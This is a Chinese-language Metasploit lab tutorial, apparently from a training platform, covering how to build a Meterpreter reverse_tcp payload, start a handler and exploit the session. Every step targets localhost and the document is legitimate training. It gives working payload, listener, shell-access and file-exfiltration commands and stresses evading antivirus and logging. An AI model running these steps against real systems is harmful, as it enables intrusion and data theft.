Meterpreter 入门

网络安全Beginner
立即练习

简介

欢迎来到 Meterpreter 入门实验。

Meterpreter 是 Metasploit 框架中一种先进的、可动态扩展的有效载荷。与仅仅将标准输入和输出转发到系统 shell(如 /bin/bash)的基础命令行 shell 不同,Meterpreter 提供了一个功能丰富、交互性强的命令环境。它完全在内存中运行,这意味着它不会在目标的硬盘上留下任何痕迹,因此非常隐蔽,传统杀毒软件难以检测。

Meterpreter 的重要之处在于它将 shell 变成了一个会话平台。你不仅可以向操作系统发送文本命令,还获得了用于信息收集、文件交互、路由和后渗透工作流的内置功能。

在本实验中,你将学习生成 Meterpreter 有效载荷、设置监听器以捕获传入连接,以及与受控系统进行交互的全过程。你将探索内置命令来收集系统信息、在不依赖原生操作系统二进制文件的情况下浏览文件系统,并在必要时进入原生系统 shell。

部署 Meterpreter 有效载荷

在这一步中,你将生成一个 Meterpreter 有效载荷并设置一个监听器来建立连接。我们将使用 Metasploit 框架提供的独立有效载荷生成器 msfvenom,来创建一个包含 Meterpreter 有效载荷的可执行文件。

首先,确保你处于默认的工作目录中。你将生成一个配置为连接回本地机器(即“反向 shell”)的 Linux 可执行有效载荷。运行以下命令来创建名为 payload.elf 的有效载荷:

生成步骤是将有效载荷参数转化为实际操作的过程。LHOST 和 LPORT 不仅仅是抽象设置;它们精确定义了会话将如何尝试连接到你。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o payload.elf

如果这是你在当前实验环境中首次使用 Metasploit,在 msfvenom 生成有效载荷之前,你可能会看到初始设置提示。当被问及是否要设置新数据库时,回答 yes 并等待设置完成。之后,msfvenom 将继续并保存 payload.elf。

生成有效载荷后,必须使其可执行,以便系统能够运行它。使用 chmod 命令添加执行权限:

chmod +x payload.elf

接下来,你需要设置一个监听器,以便在有效载荷执行时捕获连接。我们将创建一个资源脚本来自动化配置 Metasploit 控制台(msfconsole)。创建一个名为 listener.rc 的文件,并写入必要的配置:

cat << EOF > listener.rc
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j
EOF

现在,使用你刚刚创建的资源脚本启动 Metasploit 控制台。-q 标志以静默模式启动(不显示启动横幅),-r 告诉它运行你的脚本:

msfconsole -q -r listener.rc

你将看到输出,表明反向 TCP 处理器已在 127.0.0.1:4444 上启动。

要在保持监听器运行的同时执行有效载荷,你需要打开一个新的终端标签页。在 LabEx 界面中,点击终端上方的 + 图标以打开新窗口。在这个新终端中,执行有效载荷:

./payload.elf

切回第一个终端标签页。你应该会看到一条消息,显示 Meterpreter session 1 opened。按 Enter 键获取 msf6 > 提示符,然后通过输入以下命令与会话交互:

sessions -i 1

现在你将看到 meterpreter > 提示符,这表明你已成功部署并连接到了 Meterpreter 有效载荷。

检索系统信息 (sysinfo)

在这一步中,你将使用 Meterpreter 的内置命令来收集有关受控系统的信息。由于 Meterpreter 在内存中运行并拥有自己的一套命令,因此你无需依赖目标系统的原生 Linux 命令(如 uname 或 whoami)来获取这些信息。

内置命令集是 Meterpreter 会话如此有价值的原因之一。许多常见的操作任务无需直接进入原生 shell 即可完成。

确保你处于上一步的 meterpreter > 提示符下。如果没有,请确保已使用 sessions -i 1 与会话进行了交互。

要检索基本的系统信息(如计算机名称、操作系统、架构和 Meterpreter 版本),请输入以下命令:

sysinfo

你将看到类似以下的输出:

Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 5.15.0-105-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

接下来,你可以确定 Meterpreter 有效载荷当前以哪个用户帐户运行。这对于了解你在目标系统上的权限级别至关重要。运行以下命令:

getuid

输出将显示服务器用户名,在此环境中应为 labex:

Server username: labex

这些命令展示了 Meterpreter 如何让你在不触发可能监控原生命令执行的系统级日志的情况下,快速评估你所入侵的环境。

浏览目标文件系统

在这一步中,你将使用 Meterpreter 的内置文件管理命令浏览目标的文件系统。这些命令的功能类似于标准的 Linux 命令,但完全在 Meterpreter 会话内执行,增加了一层隐蔽性。

文件系统交互是后渗透活动的核心,因为许多目标最终都取决于在主机上查找、读取或窃取工件。

在 meterpreter > 提示符下,你可以使用 pwd 命令检查当前工作目录:

pwd

你应该看到 /home/labex/project 作为当前目录。要列出该目录的内容,请使用 ls 命令:

ls

你会注意到一个名为 target_data 的目录。让我们使用 cd 命令进入该目录:

cd target_data

如果 ls 没有显示 target_data,请在常规终端(而非 Meterpreter 会话中)手动创建所需的文件夹和文件,然后继续:

mkdir -p /home/labex/project/target_data
echo "Confidential Data: Meterpreter is awesome" > /home/labex/project/target_data/secrets.txt

列出 target_data 目录的内容以查找其中的文件:

ls

你应该会看到一个名为 secrets.txt 的文件。你可以使用 cat 命令直接在 Meterpreter 中读取该文件的内容:

cat secrets.txt

输出将显示文件中存储的机密数据。通常,在评估过程中,你会希望将文件窃取(下载)到本地机器以进行进一步分析。Meterpreter 通过 download 命令使此操作变得简单。

下载 secrets.txt 文件并将其保存到你的主项目目录中,命名为 downloaded_secrets.txt:

download secrets.txt /home/labex/project/downloaded_secrets.txt

你将看到一条确认消息,表明文件已成功下载。这展示了 Meterpreter 如何在目标和本地机器之间无缝传输文件。

执行系统命令 (shell)

在这一步中,你将学习如何从 Meterpreter 会话进入原生系统 shell。虽然 Meterpreter 提供了许多内置命令,但有时你需要直接与目标的操作系统交互、运行特定脚本或使用 Meterpreter 本身不支持的原生二进制文件。

要打开标准系统 shell,请在 meterpreter > 提示符下输入以下命令:

shell

你会注意到提示符发生变化或消失,这表明你现在正在直接与目标系统的 /bin/sh 或 /bin/bash shell 进行交互。

现在你处于原生 shell 中,可以执行标准的 Linux 命令。让我们创建一个文件来证明我们拥有系统级的执行能力。运行以下命令在你的项目目录中创建一个名为 hacked.txt 的文件:

echo "hacked by meterpreter" > /home/labex/project/hacked.txt

你可以通过使用 cat 命令读取它来验证文件是否已创建:

cat /home/labex/project/hacked.txt

输出将显示 hacked by meterpreter。

完成原生系统命令的执行后,你可以返回到隐蔽的 Meterpreter 会话。为此,只需输入 exit 并按回车键:

exit

你将返回到 meterpreter > 提示符。这种在隐蔽的内存驻留环境和完整系统 shell 之间无缝切换的能力,使 Meterpreter 成为一种极其通用的工具。

总结

恭喜!你已成功完成 Meterpreter 入门实验。

在本实验中,你学习了如何使用 msfvenom 生成 Meterpreter 有效载荷,并使用 msfconsole 设置监听器。你还学习了如何使用 Meterpreter 的内置 sysinfo 和 getuid 命令检索关键的系统和用户信息。此外,你练习了如何隐蔽地浏览目标文件系统,并使用 download 命令窃取数据。最后,你学习了如何进入原生系统 shell 执行操作系统级命令,并无缝返回到 Meterpreter 会话。

这些基本技能构成了后渗透活动的基础,使你能够有效地保持控制、收集情报并操纵受控系统。